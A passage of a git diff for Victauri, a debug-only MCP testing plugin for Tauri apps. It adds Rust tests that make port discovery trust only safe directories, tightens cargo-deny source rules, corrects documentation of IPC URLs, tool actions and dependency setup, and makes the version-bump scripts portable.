&same)); + // An already-pinned selector stays pinned. + assert_eq!(pinned.pin(&app(9, 1, Some("com.z"))), pinned); + } + + #[test] + fn identityless_entry_pins_to_its_pid() { + let tmp = tempfile::tempdir().unwrap(); + write_entry(tmp.path(), 100, "7373", None); + let Discovery::Found(found) = discover_in(tmp.path(), &Selector::Any, |_| true) else { + panic!("expected one app"); + }; + assert_eq!(found.identity, None); + let pinned = Selector::Any.pin(&found); + assert_eq!(pinned, Selector::Pid(100)); + // A restart (new pid, no identity) can't be proven to be the same app → not followed. + write_entry(tmp.path(), 200, "7374", None); + let alive = |pid: u32| pid != 100; + assert_eq!(discover_in(tmp.path(), &pinned, alive), Discovery::None); + } + + fn test_config(app: Option<&str>, port_explicit: bool) -> Config { + Config { + port: if port_explicit { 9000 } else { DEFAULT_PORT }, + port_explicit, + app: app.map(str::to_string), + interval: Duration::from_secs(5), + max_failures: 3, + on_failure_cmd: None, + } + } + + #[test] + fn initial_target_with_unmatched_app_reports_down_not_default_port() { + let config = test_config(Some("com.missing"), false); + let mut sel = app_sel("com.missing"); + assert_eq!(initial_target(&config, &mut sel, None), None); + assert_eq!(sel, app_sel("com.missing")); + } + + #[test] + fn initial_target_pins_and_falls_back_correctly() { + // Discovered → pinned + pid tracked. + let config = test_config(None, false); + let mut sel = Selector::Any; + let t = initial_target(&config, &mut sel, Some(app(42, 7380, Some("com.a")))); + assert_eq!( + t, + Some(Target { + port: 7380, + pid: Some(42) + }) + ); + assert_eq!(sel, Selector::Pinned("com.a".to_string())); + + // No --app, nothing found → legacy default-port fallback. + let mut sel = Selector::Any; + assert_eq!( + initial_target(&config, &mut sel, None), + Some(Target { + port: DEFAULT_PORT, + pid: None + }) + ); + + // Explicit port wins, discovery ignored. + let config = test_config(Some("com.a"), true); + let mut sel = app_sel("com.a"); + assert_eq!( + initial_target(&config, &mut sel, Some(app(1, 1, Some("com.a")))), + Some(Target { + port: 9000, + pid: None + }) + ); + } + + #[test] + fn follow_target_only_reports_real_changes() { + let mut sel = Selector::Pinned("com.a".to_string()); + let cur = Target { + port: 7373, + pid: Some(1), + }; + assert_eq!(follow_target(Some(&cur), &mut sel, None), None); + assert_eq!( + follow_target(Some(&cur), &mut sel, Some(app(1, 7373, Some("com.a")))), + None + ); + assert_eq!( + follow_target(Some(&cur), &mut sel, Some(app(2, 7374, Some("com.a")))), + Some(Target { + port: 7374, + pid: Some(2) + }) + ); + // From "down" (no target) the app appearing is a change; an App selector gets pinned. + let mut sel = app_sel("P"); + assert!(follow_target(None, &mut sel, Some(app(5, 7373, Some("com.p")))).is_some()); + assert_eq!(sel, Selector::Pinned("com.p".to_string())); + } + + #[cfg(unix)] + #[test] + fn untrusted_entries_and_base_are_ignored() { + use std::os::unix::fs::PermissionsExt; + let tmp = tempfile::tempdir().unwrap(); + // World-writable entry dir → ignored. + write_entry(tmp.path(), 100, "7373", Some("com.a")); + std::fs::set_permissions( + tmp.path().join("100"), + std::fs::Permissions::from_mode(0o777), + ) + .unwrap(); + // Symlinked entry dir → ignored. + let real = tempfile::tempdir().unwrap(); + write_entry(real.path(), 200, "7374", Some("com.b")); + std::os::unix::fs::symlink(real.path().join("200"), tmp.path().join("200")).unwrap(); + assert_eq!( + discover_in(tmp.path(), &Selector::Any, |_| true), Discovery::None ); + + // A group/other-writable BASE dir is untrusted as a whole. + let base = tempfile::tempdir().unwrap(); + write_entry(base.path(), 300, "7375", Some("com.c")); + std::fs::set_permissions(base.path(), std::fs::Permissions::from_mode(0o777)).unwrap(); assert_eq!( - discover_in(&tmp.path().join("absent"), None, alive), + discover_in(base.path(), &Selector::Any, |_| true), Discovery::None ); + std::fs::set_permissions(base.path(), std::fs::Permissions::from_mode(0o700)).unwrap(); + assert!(matches!( + discover_in(base.path(), &Selector::Any, |_| true), + Discovery::Found(_) + )); + } + + #[cfg(unix)] + #[test] + fn trust_requires_ownership_by_current_user() { + use std::os::unix::fs::MetadataExt; + let tmp = tempfile::tempdir().unwrap(); + let euid = current_euid().expect("euid probe"); + assert_eq!(std::fs::metadata(tmp.path()).unwrap().uid(), euid); + assert!(dir_is_trusted(tmp.path())); + // A directory owned by another user (root's `/`, when we are not root) is rejected + // even though its mode (0755) has no group/other write bit. + if euid != 0 { + assert!(!dir_is_trusted(Path::new("/"))); + } } #[test] diff --git a/deny.toml b/deny.toml index 2b9b13f9..4e86b0d1 100644 --- a/deny.toml +++ b/deny.toml @@ -32,7 +32,7 @@ multiple-versions = "warn" wildcards = "warn" [sources] -unknown-registry = "warn" -unknown-git = "warn" +unknown-registry = "deny" +unknown-git = "deny" allow-registry = ["https://github.com/rust-lang/crates.io-index"] allow-git = [] diff --git a/docs/src/architecture.md b/docs/src/architecture.md index 042f679f..329775b5 100644 --- a/docs/src/architecture.md +++ b/docs/src/architecture.md @@ -37,7 +37,7 @@ The JS bridge is injected into every webview via `js_init_script()` (persistent ### IPC Layer -Tauri 2.0 sends all IPC via `fetch()` to `http://ipc.localhost/`. Victauri intercepts this at the network level: +Tauri 2.0 sends IPC via `fetch()` to `http://ipc.localhost/` on Windows (WebView2) and to the custom `ipc://localhost/` scheme on macOS (WKWebView) and Linux (WebKitGTK). Victauri's fetch interceptor matches both and derives the IPC log from them (observe-only — it logs real IPC traffic but cannot block, delay, or fault it): - **Command registry** — Discover all available commands with metadata - **IPC log** — Full history of command invocations with timing @@ -62,13 +62,13 @@ External approach: Victauri approach: Agent ──HTTP──► Proxy Agent ──HTTP──► Tauri App │ (contains MCP server) CDP Direct AppHandle access - │ Sub-ms response times + │ No extra process hop Browser No state drift ``` Benefits: - **No state drift** — The MCP server reads the same memory as the application -- **Sub-millisecond responses** — No IPC hop to an external process +- **No external hop** — No IPC hop to an external process. Rust-side tools (registry, memory, `app_state`, `query_db`, window state) answer in well under a millisecond; webview tools (`eval_js`, `dom_snapshot`, `interact`, ...) are a JS round trip through the webview, typically ~10-30 ms - **Full access** — Can read Rust state, invoke commands, access the database directly - **Single dependency** — No separate process to manage or keep alive @@ -139,7 +139,7 @@ Three read-on-demand resources expose live state (the `subscribe` capability is ## Port Fallback -If port 7373 is already in use (e.g., another Tauri app running Victauri), the server tries ports 7374 through 7383. The actual bound port is written to a temp file (`/victauri.port`) for client discovery and cleaned up on shutdown. +If port 7373 is already in use (e.g., another Tauri app running Victauri), the server tries ports 7374 through 7383. The actual bound port is written to the per-process discovery directory (`/victauri//port`, alongside the auth `token` and `metadata.json`) for client discovery and cleaned up on shutdown. ## Release Safety diff --git a/docs/src/compatibility.md b/docs/src/compatibility.md index 5d08d187..56aae5ca 100644 --- a/docs/src/compatibility.md +++ b/docs/src/compatibility.md @@ -4,7 +4,7 @@ Victauri works with any Tauri 2.x application. This page documents compatibility ## Will Victauri work on your app? -Victauri is a **build-time dev dependency** — you add it to your app's source and rebuild. It is **not** an attach-to-anything tool: there is no way to point it at an already-running, shipped, or third-party binary you didn't build. It works when **all four** conditions hold: +Victauri is a **development-time dependency** (a normal `[dependencies]` entry — the app binary cannot use `[dev-dependencies]`) — you add it to your app's source and rebuild. It is **not** an attach-to-anything tool: there is no way to point it at an already-running, shipped, or third-party binary you didn't build. It works when **all four** conditions hold: | # | Requirement | Why / what happens otherwise | |---|---|---| @@ -64,7 +64,7 @@ Tauri's `js_init_script` does **not** run inside iframes ([tauri-apps/tauri#1357 ### Service Workers -Service workers can intercept `fetch()` calls, including calls to `http://ipc.localhost/` which Victauri uses to capture IPC traffic. An active service worker may cause: +Service workers can intercept `fetch()` calls, including the IPC calls (`http://ipc.localhost/` on WebView2, `ipc://localhost/` on WebKit) Victauri uses to capture IPC traffic. An active service worker may cause: - Missing entries in `get_ipc_log` - False negatives in `detect_ghost_commands` and `check_ipc_integrity` diff --git a/docs/src/configuration.md b/docs/src/configuration.md index 418b3f3f..cf87bb54 100644 --- a/docs/src/configuration.md +++ b/docs/src/configuration.md @@ -45,7 +45,7 @@ VictauriBuilder::new() If the preferred port is busy, Victauri tries the next 10 ports (9001-9010). The actual port is: - Printed to the log on startup -- Written to `/victauri.port` +- Written to the per-process discovery dir `/victauri//port` (next to the auth `token` and a `metadata.json` with the app identity) - Available via the `/info` endpoint - Stored in `VictauriState.port` (AtomicU16) diff --git a/docs/src/faq.md b/docs/src/faq.md index 62125531..32e7e9c4 100644 --- a/docs/src/faq.md +++ b/docs/src/faq.md @@ -30,7 +30,7 @@ In **release builds**: Zero *runtime* cost. The plugin is gated behind `#[cfg(de Two ways that matter, and we'll be precise because the naive "it sees the DOM, we see everything" line is only half true. -**1. Playwright can't attach to a Tauri app at all on most platforms.** It drives a browser over CDP, but Tauri renders in the OS webview — WKWebView on macOS, WebKitGTK on Linux — where there is no CDP surface to attach to. Only WebView2 on Windows exposes a CDP-class debugging surface. Victauri lives *inside* the app process, so it works identically on macOS, Windows, and Linux. +**1. Playwright can't attach to a Tauri app at all on most platforms.** It drives a browser over CDP, but Tauri renders in the OS webview — WKWebView on macOS, WebKitGTK on Linux — where there is no CDP surface to attach to. Only WebView2 on Windows exposes a CDP-class debugging surface. Victauri lives *inside* the app process, so the same tools work on macOS, Windows, and Linux (with a few documented platform limits — e.g. trusted OS-level input is Windows-only, and Linux screenshots need X11/XWayland). **2. Even where a browser tool *can* attach (Windows), it can poke the backend but can't read it safely.** Tauri exposes `window.__TAURI_INTERNALS__.invoke` in the webview, so any tool with JS evaluation can *invoke* a registered command — Victauri does not have a monopoly on "reaching the backend." But to learn what the backend is actually doing, a browser tool has to *mutate live state* (call write commands, submit forms, click-storm). And several things have **no JavaScript equivalent at all**: @@ -70,7 +70,7 @@ Check that: If the default port (7373) is busy, Victauri tries 7374-7383. The actual port is: - Printed to stdout/logs on startup -- Written to `/victauri.port` +- Written to the per-process discovery dir `/victauri//port` (next to the auth `token` and a `metadata.json` with the app identity) - Available via `GET /info` on the bound port - Discoverable by the `victauri check` CLI command @@ -123,10 +123,10 @@ Yes. Pass arguments as a JSON object: ### Why not use Chrome DevTools Protocol? CDP requires an external debugger connection and only works with Chromium-based webviews. Victauri's embedded approach: -- Works on all platforms identically (no CDP dependency) +- Works on all three Tauri webviews with no CDP dependency (documented limits: trusted input is Windows-only; Linux screenshots need X11/XWayland) - Has access to the Rust backend (CDP can't see that) - Doesn't require debug flags or remote debugging ports -- Responds in sub-milliseconds (no network hop) +- No extra process hop: Rust-side tools answer in well under a millisecond; webview tools are a JS round trip (~10-30 ms) ### Why HTTP and not stdio for MCP transport? @@ -151,7 +151,7 @@ The JS bridge may not have loaded yet. This can happen if: ### IPC log is empty -IPC logging works by intercepting `fetch()` calls to `http://ipc.localhost/`. If your IPC log is empty: +IPC logging works by intercepting `fetch()` calls to Tauri's IPC URLs — `http://ipc.localhost/` on Windows (WebView2), `ipc://localhost/` on macOS (WKWebView) and Linux (WebKitGTK). If your IPC log is empty: - Verify the app has actually made IPC calls (check network tab in dev tools) - The bridge's fetch interceptor must load before the first IPC call - `plugin:victauri|*` calls are intentionally excluded from the log diff --git a/docs/src/introduction.md b/docs/src/introduction.md index 981e2ef1..99acd5ba 100644 --- a/docs/src/introduction.md +++ b/docs/src/introduction.md @@ -30,15 +30,15 @@ All of this is exposed two ways from the same server: a plain **REST/HTTP API** ## Design Principles -1. **Same-process** — The MCP server runs inside the Tauri app process, not as a separate sidecar. This gives sub-millisecond tool response times and direct `AppHandle` access. +1. **Same-process** — The MCP server runs inside the Tauri app process, not as a separate sidecar. This gives direct `AppHandle` access with no extra process hop: Rust-side tools (registry, memory, `app_state`, `query_db`, window state) answer in well under a millisecond; webview tools (`eval_js`, `dom_snapshot`, `interact`, ...) are a JS round trip through the webview, typically ~10-30 ms. -2. **Zero runtime cost in release** — The server is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op and nothing listens in release builds. (The crate still compiles in as a dependency; add it as a `dev-dependency` if you want it absent from the release binary entirely.) +2. **Zero runtime cost in release** — The server is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op and nothing listens in release builds. Add it as a normal `[dependencies]` entry — the app binary cannot use `[dev-dependencies]`. The crate still compiles in; to keep it out of release binaries entirely, make it an optional dependency behind a Cargo feature and gate the `.plugin(...)` call on that feature. 3. **Full-stack** — WebView + IPC + Backend + DB, not just DOM. Cross-boundary verification catches state drift between frontend and backend. 4. **MCP-native** — Speaks the protocol AI agents already understand. No custom SDKs or adapters needed. -5. **Cross-platform** — Works identically on Windows, macOS, and Linux. No CDP dependency. +5. **Cross-platform** — The same tool surface on Windows, macOS, and Linux, with no CDP dependency. Documented platform limits: trusted (OS-level, `isTrusted: true`) input is Windows-only (other platforms fall back to synthetic events), and window screenshots on Linux need X11/XWayland (pure Wayland returns a clear error). 6. **Plugin, not framework** — One line in `Cargo.toml` to add, one line to remove. Your app architecture stays unchanged. diff --git a/docs/src/security.md b/docs/src/security.md index 2c896a46..c1a972fe 100644 --- a/docs/src/security.md +++ b/docs/src/security.md @@ -27,7 +27,7 @@ Note: "zero runtime cost" is not the same as "zero bytes." With `victauri-plugin regular dependency the crate (and its transitive deps) still compile into the build; the server code is simply unreachable at runtime because `init()` is a no-op. Dead-code elimination strips most of it, but if you want Victauri completely absent from the release -binary, add it as a `dev-dependency` (and gate the `.plugin(...)` call behind `#[cfg(debug_assertions)]` / a debug-only feature). +binary, make it an optional dependency behind a Cargo feature and gate the `.plugin(...)` call on that feature. (Not a `dev-dependency`: the app binary cannot see `[dev-dependencies]`, so it would no longer compile.) ### The one way this gate can fail — and how to stop it diff --git a/docs/src/testing-tauri-apps.md b/docs/src/testing-tauri-apps.md index 448e4ab2..7e002f04 100644 --- a/docs/src/testing-tauri-apps.md +++ b/docs/src/testing-tauri-apps.md @@ -118,12 +118,12 @@ import { _electron as electron } from 'playwright'; // This only works for Electron apps, not Tauri. // For Tauri, you'd need to connect to the webview's DevTools port, -// which requires CDP support that varies by platform. +// which requires CDP — available only on Windows (WebView2). ``` **Limitations:** - No official Tauri support — community workarounds only -- CDP (Chrome DevTools Protocol) availability varies: Windows (WebView2 supports CDP), macOS (WKWebView does not), Linux (WebKitGTK has partial support) +- CDP (Chrome DevTools Protocol) is only available on Windows (WebView2). macOS WKWebView and Linux WebKitGTK expose no CDP surface (they have their own, separate remote-inspector protocols), so a CDP-based tool cannot attach there - Cross-platform testing becomes platform-specific - Same DOM-only limitation as WebDriver diff --git a/docs/src/tools-reference.md b/docs/src/tools-reference.md index 44698393..54a8ac7d 100644 --- a/docs/src/tools-reference.md +++ b/docs/src/tools-reference.md @@ -397,10 +397,10 @@ Text input and keyboard operations. | Action | Parameters | Description | |--------|-----------|-------------| | `fill` | `ref_id`, `value` | Set input value directly | -| `type` | `ref_id`, `text` | Type character-by-character | +| `type_text` | `ref_id`, `text` | Type character-by-character | | `press_key` | `key` | Press a keyboard key | -**Trusted (OS-level) input:** add `"trusted": true` to `type` or `press_key` to +**Trusted (OS-level) input:** add `"trusted": true` to `type_text` or `press_key` to deliver real OS keystrokes (`isTrusted: true`) into the focused element instead of synthetic DOM events. The target element (`ref_id`) is focused first. Implemented on Windows (Win32 `SendInput`); macOS/Linux fall back to synthetic @@ -409,8 +409,8 @@ input with a clear error. **Example:** ```json {"action": "fill", "ref_id": "e5", "value": "hello@example.com"} -{"action": "type", "ref_id": "e5", "text": "Hello"} -{"action": "type", "ref_id": "e5", "text": "Hello", "trusted": true} +{"action": "type_text", "ref_id": "e5", "text": "Hello"} +{"action": "type_text", "ref_id": "e5", "text": "Hello", "trusted": true} {"action": "press_key", "key": "Enter"} ``` @@ -426,7 +426,7 @@ Window management operations. |--------|-----------|-------------| | `get_state` | `label` | Get window state (position, size, visibility) | | `list` | — | List all window labels | -| `manage` | `label`, `operation` | minimize/unminimize/maximize/unmaximize/close | +| `manage` | `label`, `manage_action` | `minimize`, `unminimize`, `maximize`, `unmaximize`, `close`, `focus`, `show`, `hide`, `fullscreen`, `unfullscreen`, `always_on_top`, `not_always_on_top` | | `resize` | `label`, `width`, `height` | Resize a window | | `move_to` | `label`, `x`, `y` | Move a window | | `set_title` | `label`, `title` | Change window title | @@ -450,10 +450,10 @@ Browser storage operations. | Action | Parameters | Description | |--------|-----------|-------------| -| `get` | `key` | Get localStorage value | -| `set` | `key`, `value` | Set localStorage value | -| `delete` | `key` | Delete localStorage key | -| `cookies` | — | Get all cookies | +| `get` | `key`, `storage_type` | Get a value (`storage_type`: `local` (default) or `session`) | +| `set` | `key`, `value`, `storage_type` | Set a value | +| `delete` | `key`, `storage_type` | Delete a key | +| `get_cookies` | — | Get the page's cookies (non-`httpOnly` only — read via `document.cookie`) | **Example:** ```json @@ -470,14 +470,16 @@ Navigation and history operations. | Action | Parameters | Description | |--------|-----------|-------------| | `go_to` | `url` | Navigate to a URL (http/https only) | -| `back` | — | Go back in history | -| `history` | — | Get navigation history log | -| `dialogs` | — | Get dialog log (alerts, confirms, prompts) | +| `go_back` | — | Go back in history | +| `get_history` | — | Get navigation history log | +| `set_dialog_response` | `dialog_type`, `dialog_action`, `text` | Auto-respond to future `alert`/`confirm`/`prompt` dialogs (`accept` / `dismiss`) | +| `get_dialog_log` | — | Get dialog log (alerts, confirms, prompts) | **Example:** ```json {"action": "go_to", "url": "https://example.com"} -{"action": "history"} +{"action": "get_history"} +{"action": "set_dialog_response", "dialog_type": "confirm", "dialog_action": "accept"} ``` --- @@ -488,18 +490,30 @@ Time-travel recording for session capture and replay. | Action | Parameters | Description | |--------|-----------|-------------| -| `start` | — | Start recording events | +| `start` | `session_id` (optional) | Start recording events | | `stop` | — | Stop recording and return session | -| `checkpoint` | `label` (alias: `checkpoint_label`) | Create a named checkpoint | -| `events` | `since`, `limit` | Get recorded events | +| `checkpoint` | `checkpoint_id` (optional, auto-generated), `checkpoint_label` (alias: `label`), `state` | Create a checkpoint | +| `list_checkpoints` | — | List checkpoints | +| `get_events` | `since_index` | Get recorded events | +| `events_between` | `from`, `to` (checkpoint ids) | Events between two checkpoints | +| `get_replay` | — | The recorded IPC call sequence | | `export` | — | Export full session data (works after stop) | -| `import` | `session` | Import a session for replay | -| `replay` | `webview_label` | Re-execute recorded IPC commands and report pass/fail per command (works after stop) | +| `import` | `session_json` | Import a session (becomes the active recording; refused while one is in progress) | +| `replay` | `webview_label` | Re-invoke recorded IPC commands (see below; works after stop) | +| `flush` | `webview_label` | Pull pending bridge events into the active recording now | + +**`replay` semantics.** Recordings do not capture call arguments, so `replay` re-invokes +only calls that **succeeded with no arguments**. Calls that had arguments, failed, or +never completed are reported as `skipped` with a reason; commands blocked by the privacy +allow/blocklist are reported as `blocked`. `passed` means the re-invocation succeeded — +the response is **not** diffed against the original (only its JSON type is reported). +Re-invoked commands run for real, so their side effects happen again. **Example:** ```json {"action": "start"} {"action": "checkpoint", "label": "after-login"} +{"action": "get_events", "since_index": 0} {"action": "stop"} {"action": "replay"} ``` @@ -512,18 +526,19 @@ CSS inspection, accessibility, and performance profiling. | Action | Parameters | Description | |--------|-----------|-------------| -| `styles` | `ref_id`, `properties` | Get computed CSS styles | -| `bounds` | `ref_ids` | Get bounding boxes with box model | -| `highlight` | `ref_id`, `color`, `label` | Draw debug overlay on element | -| `accessibility` | — | Run WCAG accessibility audit | -| `performance` | — | Get performance metrics | +| `get_styles` | `ref_id`, `properties` | Get computed CSS styles | +| `get_bounding_boxes` | `ref_ids` | Get bounding boxes with box model | +| `highlight` | `ref_id`, `color`, `highlight_label` | Draw debug overlay on element | +| `clear_highlights` | — | Remove all debug overlays | +| `audit_accessibility` | — | Run WCAG accessibility audit | +| `get_performance` | — | Get performance metrics | **Example:** ```json -{"action": "styles", "ref_id": "e3", "properties": ["color", "font-size"]} -{"action": "bounds", "ref_ids": ["e1", "e2", "e3"]} -{"action": "accessibility"} -{"action": "performance"} +{"action": "get_styles", "ref_id": "e3", "properties": ["color", "font-size"]} +{"action": "get_bounding_boxes", "ref_ids": ["e1", "e2", "e3"]} +{"action": "audit_accessibility"} +{"action": "get_performance"} ``` The accessibility audit checks: missing alt text, unlabeled form inputs, empty buttons/links, heading hierarchy, color contrast (WCAG AA), ARIA role validity, positive tabindex, and missing document language/title. @@ -562,6 +577,7 @@ Access all captured logs from the application. | `dialogs` | — | Dialog interactions | | `events` | `since` | Event stream | | `slow_ipc` | `threshold_ms` | IPC calls slower than threshold | +| `clear` | — | Clear the IPC + network logs (per-test isolation) | **Example:** ```json @@ -578,7 +594,7 @@ Access all captured logs from the application. ### route Network request interception — the Playwright `route()` equivalent, implemented -purely in the JS bridge (no CDP, works identically across all Tauri webviews). +purely in the JS bridge (no CDP; the same behaviour on all three Tauri webviews, within the fetch/XHR limits below). Matches webview `fetch`/XHR by URL and blocks, mocks, or delays them. Rules are page-scoped (cleared on reload). @@ -615,8 +631,16 @@ page-scoped (cleared on reload). > **Scope:** fetch supports all behaviors; XHR supports `block`/`delay` > (`fulfill` is fetch-only). Top-level navigation, sub-resources (img/css), and -> WebSocket frames are not intercepted. For Tauri **IPC-layer** faults, use the -> `fault` tool instead. +> WebSocket frames are not intercepted. +> +> **Tauri IPC is observe-only.** The app's real `invoke` traffic +> (`http://ipc.localhost/…` on Windows, `ipc://localhost/…` on macOS/Linux) is +> *logged* (`logs ipc`, and a rule may even show up in `matches`), but a rule +> does **not** control it — Tauri serves real IPC below the JS `fetch` layer the +> bridge can reach, so the call still goes through, undelayed. The `fault` tool +> does not touch the app's real frontend IPC either: it only applies to commands +> you drive through `invoke_command`. Neither tool can reproduce a failure a user +> clicking the UI would hit. --- @@ -637,6 +661,21 @@ ring buffer via the native screenshot path (no CDP). Pairs with `recording` `with_events: true` to also start the event recorder so the trace bundles the IPC/DOM/console timeline alongside the screencast. +Limits and lifecycle: +- A trace **auto-stops after 30 minutes** (an abandoned trace must not capture forever). +- The frame buffer is a ring (`max_frames`) and is also capped at **256 MB** total; + the oldest frames are dropped first. +- `frames` returns the **newest** frames that fit a **25 MB** response cap (with a + note when it had to drop older ones) — pass a smaller `limit` to page. +- **Hidden windows are skipped**: a frame is only captured while the target window is + visible (a native capture of a hidden window would return stale or another window's + pixels), so a hidden period shows up as a gap, not a wrong image. +- `stop` (or the 30-minute auto-stop) also **ends the recording that `with_events` + started**; a recording you started separately with `recording start` is left alone. + The stopped session stays readable via `recording get_events` / `export`. +- Frames come from the native screenshot path, so the platform limits of `screenshot` + apply (Linux needs X11/XWayland). + **Example:** ```json {"action": "start", "interval_ms": 250, "max_frames": 40, "with_events": true} @@ -666,13 +705,23 @@ Deep backend introspection — command performance profiling, IPC contract testi | `contract_clear` | — | Clear all recorded contract baselines | | `startup_timing` | — | Victauri plugin initialization phase-by-phase timing breakdown | | `capabilities` | — | Tauri v2 capabilities, security config (CSP, freeze_prototype), plugins, and window definitions | -| `db_health` | `db_path` | Bounded, read-only `SQLite` diagnostics (journal mode, WAL presence, page stats) | +| `db_health` | `db_path` | Bounded, read-only `SQLite` diagnostics (see below) | | `plugin_state` | — | Victauri plugin internal state: event counts, registry, recording, faults, timings, uptime | | `processes` | — | Host process + child processes (sidecars, background workers) with PID, name, and memory | | `plugin_tasks` | — | Victauri's spawned async tasks (MCP server, event drain) with active/finished counts | | `event_bus` | — | All captured Tauri events (automatically intercepted) + app events from EventLog | | `event_bus_clear` | — | Clear both event bus and event log | +**`db_health` report.** Opens the database read-only and returns: `journal_mode`, +`page_count`, `page_size`, `db_size_mb`, `freelist_count`; the table list with +per-table `row_count` (counted under a 5 s budget — tables not reached get +`row_count: null` and `row_counts_complete: false`; the listing is capped and flagged by +`tables_truncated`); and `integrity_check` from SQLite `PRAGMA quick_check` under its own +5 s budget. On a large database `quick_check` may report +`"not completed: … exceeded its budget …"` — that means *unknown*, not corrupt. It never +checkpoints or inspects the `-wal` file (`wal_checkpoint` is reported as "not run +(read-only diagnostics)" in WAL mode). + **Examples:** ```json {"action": "command_timings", "slow_threshold_ms": 100} @@ -704,7 +753,16 @@ Probe a backend command handler under failure for chaos engineering. | `clear` | `command` | Remove a specific fault rule | | `clear_all` | — | Remove all fault rules | -**Fault types:** `delay` (add latency), `error` (return error), `drop` (empty response), `corrupt` (mangle response). +**Fault types:** +- `delay` — sleep `delay_ms` (max 120 000), then run the command normally. +- `error` — return `[FAULT INJECTED] command '': ` **without running** the command. +- `drop` — return `{}` **without running** the command. +- `corrupt` — run the command for real (side effects happen), then return a fixed marker + instead of its result: `{"__corrupted":true,"original_length":,"fault":"corrupt"}`. + +Rules **auto-expire 15 minutes** after they are injected (so a forgotten fault cannot +sabotage a later run — re-inject to refresh) or after `max_triggers` hits +(0 = unlimited). **Examples:** ```json @@ -719,7 +777,14 @@ Probe a backend command handler under failure for chaos engineering. ### explain -Natural-language narration of what happened in the app. Aggregates events from the EventLog over a time window and produces human-readable summaries, causal chains, or diffs. +Natural-language narration of what happened in the app. Aggregates recent events over a time window and produces human-readable summaries, causal chains, or diffs. + +**Event source.** While a recording is active, `explain` reads the recorder-fed event +log. When nothing is recording, it reads the JS bridge's own event stream **on demand** +(IPC, DOM mutations, console, network, navigation) for the requested window — without +storing it, so a later recording never double-counts. Victauri's own internal traffic is +filtered out. Network requests are counted as **state changes** and navigations as +**window events** in the tallies. | Action | Parameters | Description | |--------|-----------|-------------| diff --git a/editors/vscode/README.md b/editors/vscode/README.md index a64a45f7..915aeb1e 100644 --- a/editors/vscode/README.md +++ b/editors/vscode/README.md @@ -84,13 +84,13 @@ Right-click any element in the DOM Explorer: Victauri runs an HTTP server **inside your Tauri app's process**. This extension talks to its REST API, giving it simultaneous access to the webview DOM, Rust backend state, IPC traffic, and native window state — something external tools like Playwright can't do. -The plugin is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op in release builds — zero runtime cost (the server never starts). Add it as a `dev-dependency` if you also want it absent from the release binary. +The plugin is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op in release builds — zero runtime cost (the server never starts). Add it as a normal dependency (the app binary cannot use `[dev-dependencies]`); to also keep it out of the release binary, make it an optional dependency behind a Cargo feature and gate the `.plugin(...)` call on that feature. ## Requirements - A Tauri 2.x app with [victauri-plugin](https://crates.io/crates/victauri-plugin) enabled - The plugin starts an HTTP server on `127.0.0.1:7373` that this extension connects to -- Port discovery reads `victauri.port` from the temp directory if the default port is taken +- Port discovery reads the per-process discovery directory (`/victauri//port`, trusted and live entries only) if the default port is taken ## Compatibility diff --git a/scripts/bump-version.ps1 b/scripts/bump-version.ps1 index 5baf8c06..8c008224 100644 --- a/scripts/bump-version.ps1 +++ b/scripts/bump-version.ps1 @@ -34,12 +34,12 @@ param( $ErrorActionPreference = 'Stop' -$root = Split-Path -Parent (Split-Path -Parent $PSScriptRoot) -if (-not (Test-Path "$root\Cargo.toml")) { - $root = Split-Path -Parent $PSScriptRoot -} -if (-not (Test-Path "$root\Cargo.toml")) { - Write-Error "Cannot find Cargo.toml — run from the victauri repo root or scripts/ dir" +# The script lives in /scripts, so the repo root is exactly one level up. Never probe +# further up: a Cargo.toml in an enclosing directory (e.g. a parent workspace or the +# directory holding git worktrees) would otherwise be bumped instead of this repo. +$root = Split-Path -Parent $PSScriptRoot +if (-not (Test-Path (Join-Path $root 'Cargo.toml'))) { + Write-Error "Cannot find Cargo.toml at $root — bump-version.ps1 must live in /scripts" exit 1 } diff --git a/scripts/bump-version.sh b/scripts/bump-version.sh index 0ae85731..69b72c00 100644 --- a/scripts/bump-version.sh +++ b/scripts/bump-version.sh @@ -29,7 +29,16 @@ if [[ ! -f "$ROOT/Cargo.toml" ]]; then exit 1 fi -OLD_VERSION=$(grep -oP 'version\s*=\s*"\K[0-9]+\.[0-9]+\.[0-9]+' "$ROOT/Cargo.toml" | head -1) +# Portable (GNU + BSD/macOS): no `grep -P`, no bare `sed -i`. +# In-place sed that works on both GNU sed and BSD sed: `-i.bak` is accepted by both +# (BSD requires a suffix argument; GNU accepts it attached), then the backup is removed. +# The target file must be the LAST argument. +sed_inplace() { + local target="${!#}" + sed -i.bak "$@" && rm -f "$target.bak" +} + +OLD_VERSION=$(sed -n -E 's/^[[:space:]]*version[[:space:]]*=[[:space:]]*"([0-9]+\.[0-9]+\.[0-9]+)".*/\1/p' "$ROOT/Cargo.toml" | head -1) if [[ -z "$OLD_VERSION" ]]; then echo "Error: Cannot detect current version from Cargo.toml" @@ -54,7 +63,7 @@ replace_in_file() { if $DRY_RUN; then echo " WOULD $desc" else - sed -i "s|$(echo "$old" | sed 's/[&/\]/\\&/g')|$(echo "$new" | sed 's/[&/\]/\\&/g')|g" "$path" + sed_inplace "s|$(echo "$old" | sed 's/[&/\]/\\&/g')|$(echo "$new" | sed 's/[&/\]/\\&/g')|g" "$path" echo " OK $desc" fi else @@ -72,7 +81,7 @@ if [[ "$DRY_RUN" == true ]]; then echo " WOULD update Cargo.toml [workspace.dependencies] victauri-* pins" else # `#` delimiter: the pattern's `(core|macros|...)` alternation contains `|`. - sed -i -E "s#(victauri-(core|macros|plugin|test) = \{ version = \")[^\"]+(\")#\1$NEW_VERSION\3#g" "$ROOT/Cargo.toml" + sed_inplace -E "s#(victauri-(core|macros|plugin|test) = \{ version = \")[^\"]+(\")#\1$NEW_VERSION\3#g" "$ROOT/Cargo.toml" echo " OK Cargo.toml [workspace.dependencies] victauri-* pins" fi @@ -104,7 +113,7 @@ for f in "${PIN_DOCS[@]}"; do if $DRY_RUN; then echo " WOULD $f install pins -> \"$NEW_MM\"" else - sed -i -E "s#(victauri-(core|macros|plugin|test) *= *(\{ *version *= *)?\")[0-9]+\.[0-9]+(\")#\1$NEW_MM\4#g" "$ROOT/$f" + sed_inplace -E "s#(victauri-(core|macros|plugin|test) *= *(\{ *version *= *)?\")[0-9]+\.[0-9]+(\")#\1$NEW_MM\4#g" "$ROOT/$f" echo " OK $f install pins -> \"$NEW_MM\"" fi done @@ -113,7 +122,7 @@ for f in 